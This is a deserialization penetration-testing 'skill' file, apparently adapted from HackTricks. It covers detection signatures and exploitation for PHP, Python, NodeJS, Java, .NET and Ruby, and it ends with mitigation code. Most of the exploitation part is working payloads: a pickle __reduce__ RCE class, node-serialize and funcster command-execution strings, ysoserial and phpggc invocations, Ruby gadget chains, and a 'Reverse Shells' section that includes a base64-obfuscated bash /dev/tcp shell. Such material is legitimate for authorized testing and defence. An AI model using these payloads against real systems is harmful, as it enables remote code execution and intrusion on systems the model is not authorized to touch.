Hacktricks-skills deserialization-pentest

How to identify and exploit insecure deserialization vulnerabilities across PHP, Python, NodeJS, Java, .NET, and Ruby. Use this skill whenever the user mentions deserialization, serialization, object injection, gadget chains, ysoserial, pickle, unserialize, ObjectInputStream, BinaryFormatter, Marshal, or any related vulnerability testing. Make sure to use this skill for any web application security testing involving serialized data, ViewState parameters, cookies with serialized objects, or when analyzing code for deserialization sinks.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/deserialization/deserialization/SKILL.MD
source content

Deserialization Pentesting

A comprehensive guide for identifying and exploiting insecure deserialization vulnerabilities across multiple platforms.

Quick Reference

PlatformKey IndicatorsPrimary Tool
PHP
unserialize()
,
__wakeup
,
__destruct
PHPGGC
Python
pickle.loads()
,
__reduce__
Custom payloads
NodeJS
node-serialize
,
funcster
,
serialize-javascript
Manual crafting
Java
AC ED 00 05
,
rO0
,
ObjectInputStream
ysoserial
.NET
AAEAAAD
,
BinaryFormatter
,
SoapFormatter
ysoserial.net
Ruby
Marshal.load
,
Gem::
classes
Custom payloads

Detection Methods

White Box Testing

Search for these patterns in source code:

PHP:

  • unserialize()
    without
    allowed_classes
    parameter
  • Magic methods:
    __wakeup
    ,
    __destruct
    ,
    __unserialize
    ,
    __sleep
  • file_get_contents()
    with
    phar://
    wrapper

Python:

  • pickle.loads()
    ,
    pickle.load()
  • yaml.load()
    with
    Loader=yaml.FullLoader
    or
    UnsafeLoader
  • jsonpickle.decode()
  • __reduce__
    or
    __reduce_ex__
    methods

NodeJS:

  • node-serialize.unserialize()
  • funcster.deepDeserialize()
  • serialize-javascript
    with
    eval()
    deserialization
  • __proto__
    or
    prototype
    pollution patterns

Java:

  • ObjectInputStream.readObject()
  • XStream.fromXML()
    (versions ≤ 1.46)
  • XMLDecoder
    with user input
  • Classes implementing
    Serializable
  • readObject()
    ,
    readResolve()
    ,
    readExternal()
    methods

.NET:

  • BinaryFormatter.Deserialize()
  • SoapFormatter.Deserialize()
  • JsonConvert.DeserializeObject()
    with
    TypeNameHandling.Auto
  • JavaScriptSerializer
    with
    JavaScriptTypeResolver
  • __ViewState
    parameters

Ruby:

  • Marshal.load()
    or
    Marshal.restore()
  • Oj.load()
    ,
    Psych.load()
    ,
    JSON.parse()
    with custom
    json_create
  • .send()
    method with user-controlled input

Black Box Testing

Java Signatures:

  • Hex:
    AC ED 00 05
  • Base64:
    rO0
  • Compressed hex:
    1F 8B 08 00
  • Compressed Base64:
    H4sIA
  • Content-Type:
    application/x-java-serialized-object
  • .faces
    files with
    javax.faces.ViewState
    parameter

.NET Signatures:

  • Base64:
    AAEAAAD//////
  • JSON/XML with
    $type
    or
    TypeObject
    fields

General Indicators:

  • Long Base64 strings in cookies, parameters, or headers
  • ViewState parameters in ASP.NET applications
  • Serialized objects in API responses
  • Custom binary protocols

Exploitation by Platform

PHP Deserialization

Magic Methods to Abuse

MethodWhen CalledUse Case
__wakeup
After deserializationRCE via file operations, command execution
__destruct
Object destructionCleanup-based exploitation
__unserialize
Instead of
__wakeup
Full control over deserialization
__toString
String conversionFile reads, information disclosure
__sleep
Before serializationProperty manipulation

PHPGGC Usage

# Generate payload for specific gadget chain
phpggc <gadget> <parameter> > payload.txt

# Example: PHPMailer RCE
phpggc PHPMailer phpinfo > payload.txt

# Example: Laravel RCE
phpggc Laravel8 'system("id")' > payload.txt

Common Gadget Chains

  • PHPMailer: Email-based RCE
  • Laravel: Queue and closure exploitation
  • Symfony: Expression language RCE
  • Monolog: File write and RCE
  • Doctrine: Query-based exploitation

Phar Deserialization

When LFI exists but doesn't execute PHP:

# Create malicious phar file
php -r '
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();
'

# Trigger via phar:// wrapper
file_get_contents("phar://evil.phar");

Python Deserialization

Pickle Exploitation

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ("your_command_here",))

# Generate payload
payload = pickle.dumps(RCE())
print(payload)

# Base64 encode for transmission
import base64
print(base64.b64encode(payload).decode())

YAML Deserialization

import yaml

# Vulnerable code pattern
data = yaml.load(user_input, Loader=yaml.FullLoader)

# Exploitation via __reduce__
payload = "!!python/object/apply:os.system ["command"]"

jsonpickle Exploitation

import jsonpickle

# Vulnerable pattern
data = jsonpickle.decode(user_input)

# Exploitation
payload = jsonpickle.encode(
    {"py/object": "os.system", "py/args": ["command"]}
)

NodeJS Deserialization

node-serialize Exploitation

// Vulnerable pattern
var serialize = require("node-serialize");
var data = serialize.unserialize(userInput);

// Exploit payload
var payload = {
  "rce": "_$$ND_FUNC$$_require('child_process').exec('command')()"
};

funcster Exploitation

// Vulnerable pattern
var funcster = require("funcster");
var data = funcster.deepDeserialize(userInput);

// Exploit payload
var payload = {
  "__js_function": "this.constructor.constructor('require(\"child_process\").exec(\"command\")')()"
};

serialize-javascript Exploitation

// Vulnerable deserialization
function deserialize(serialized) {
  return eval("(" + serialized + ")");
}

// Exploit
var payload = "function(){ require('child_process').exec('command'); }()";

React Server Components (CVE-2025-55182)

# Craft multipart payload for vulnerable RSC
curl -X POST http://target/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"app/server-actions#export","bound":["arg1","arg2"]}'

Java Deserialization

ysoserial Usage

# Download ysoserial
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

# DNS callback (safe test)
java -jar ysoserial.jar URLDNS http://your-collaborator.burpcollaborator.net > payload

# RCE payloads
java -jar ysoserial.jar CommonsCollections5 "command" > payload
java -jar ysoserial.jar CommonsCollections4 "command" > payload
java -jar ysoserial.jar Jdk7u21 "command" > payload

# Base64 encode for HTTP injection
base64 -w0 payload

Common Gadget Chains

GadgetLibraryRisk Level
CommonsCollections1-7Apache Commons CollectionsHigh
Jdk7u21JDK 7u21+Medium
URLDNSNone (DNS only)Low (detection)
Spring1-2Spring FrameworkHigh
Hibernate1-2HibernateHigh
Myfaces1-2Apache MyFacesHigh

marshalsec for JSON/XML

# Compile marshalsec
mvn clean package -DskipTests

# Generate JSON payload
java -cp marshalsec.jar marshalsec.json.JsonGenerator <gadget> "command"

# Generate YAML payload
java -cp marshalsec.jar marshalsec.yaml.YamlGenerator <gadget> "command"

Detection Tools

  • GadgetProbe: Identify available libraries via DNS callbacks
  • Java Deserialization Scanner: Burp extension for automated testing
  • Freddy: Detect JSON/YAML/ObjectInputStream vulnerabilities
  • SerializationDumper: Human-readable serialization inspection

.NET Deserialization

ysoserial.net Usage

# Compile ysoserial.net
# Then use:

# Generate payload
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" -o base64

# Test payload locally
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "command" --test

# List available gadgets for formatter
ysoserial.exe --raf -f Json.Net -c "test"

# Reverse shell example
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -Enc <base64>"

Common Formatters

FormatterLibraryExploitable
Json.NetNewtonsoft.JsonYes (with TypeNameHandling)
BinaryFormatterSystem.Runtime.SerializationYes
SoapFormatterSystem.Runtime.SerializationYes
DataContractSerializerSystem.Runtime.SerializationLimited

ViewState Exploitation

# With known validation key
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -k <validation_key>

# With known secret
ysoserial.exe -g ObjectDataProvider -f ViewState -c "command" -s <secret>

Ruby Deserialization

Marshal Exploitation

# Basic RCE gadget
require 'base64'

class RCE
  def initialize(cmd)
    @cmd = cmd
  end
  
  def hash
    system(@cmd)
  end
end

payload = Marshal.dump(RCE.new("id"))
puts Base64.encode64(payload)

Gem Gadget Chains

# Gem::StubSpecification chain
class Gem::StubSpecification
  def initialize; end
end

stub = Gem::StubSpecification.new
stub.instance_variable_set(:@loaded_from, "|command 1>&2")

# Trigger via comparison
other = Gem::Source::SpecificFile.new
stub <=> other

Oj/Psych Exploitation

// Oj payload
{
  "^o": "Gem::Resolver::SpecSpecification",
  "spec": {
    "^o": "Gem::Resolver::GitSpecification",
    "source": {
      "^o": "Gem::Source::Git",
      "git": "zip",
      "reference": "-TmTT=\"\$(id>/tmp/poc)\"",
      "root_dir": "/tmp"
    }
  }
}

Prevention and Mitigation

PHP

// Disable all classes
$object = unserialize($data, ['allowed_classes' => false]);

// Whitelist specific classes
$object = unserialize($data, ['allowed_classes' => ['SafeClass']]);

// Avoid unserialize entirely - use JSON
$data = json_decode($json_string);

Python

# Use safe_load for YAML
import yaml
data = yaml.safe_load(user_input)

# Avoid pickle with untrusted data
# Use JSON instead
data = json.loads(user_input)

# If pickle is required, use restricted unpickler
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        allowed = ['mymodule.MyClass']
        if f"{module}.{name}" not in allowed:
            raise pickle.UnpicklingError(f"Forbidden: {module}.{name}")
        return super().find_class(module, name)

Java

// Use ObjectInputFilter (Java 9+)
ObjectInputFilter filter = info -> {
    if (!allowedClasses.contains(info.serialClass().getName())) {
        return Status.REJECTED;
    }
    return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

// Override resolveClass
public class SafeObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
        if (!desc.getName().equals("com.example.SafeClass")) {
            throw new InvalidClassException("Unauthorized");
        }
        return super.resolveClass(desc);
    }
}

.NET

// Set TypeNameHandling to None
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.None
};
var data = JsonConvert.DeserializeObject(json, settings);

// Use SerializationBinder for BinaryFormatter
public class SafeSerializationBinder : SerializationBinder {
    public override Type BindToType(string assemblyName, string typeName) {
        if (typeName != "MyApp.SafeClass") {
            throw new SecurityException("Unauthorized type");
        }
        return Type.GetType(typeName);
    }
}

Ruby

# Use JSON instead of Marshal
data = JSON.parse(user_input)

# If Marshal is required, use SafeMarshal
require 'safe_marshal'
data = SafeMarshal.load(user_input, allowed_classes: [SafeClass])

# Validate before deserialization
if user_input.start_with?("\x04\x08") # Marshal magic
  # Validate structure before loading
end

Testing Workflow

  1. Identify serialized data in requests/responses
  2. Determine the platform and serialization format
  3. Test with DNS callback payloads (URLDNS, etc.)
  4. Enumerate available libraries/gadgets
  5. Craft RCE payload based on available gadgets
  6. Verify exploitation with file creation or reverse shell
  7. Document findings and remediation steps

Common Payloads

DNS Callbacks (Safe Testing)

# Java
java -jar ysoserial.jar URLDNS http://your-collaborator.net

# .NET
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup your-collaborator.net"

# NodeJS
var payload = {"rce": "_\$\$ND_FUNC\$\$_require('child_process').exec('nslookup your-collaborator.net')()"}

Reverse Shells

# Java (Linux)
java -jar ysoserial.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"

# .NET (Windows)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -Enc <base64_encoded_ps>"

# PHP (via gadget)
phpggc Laravel8 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

References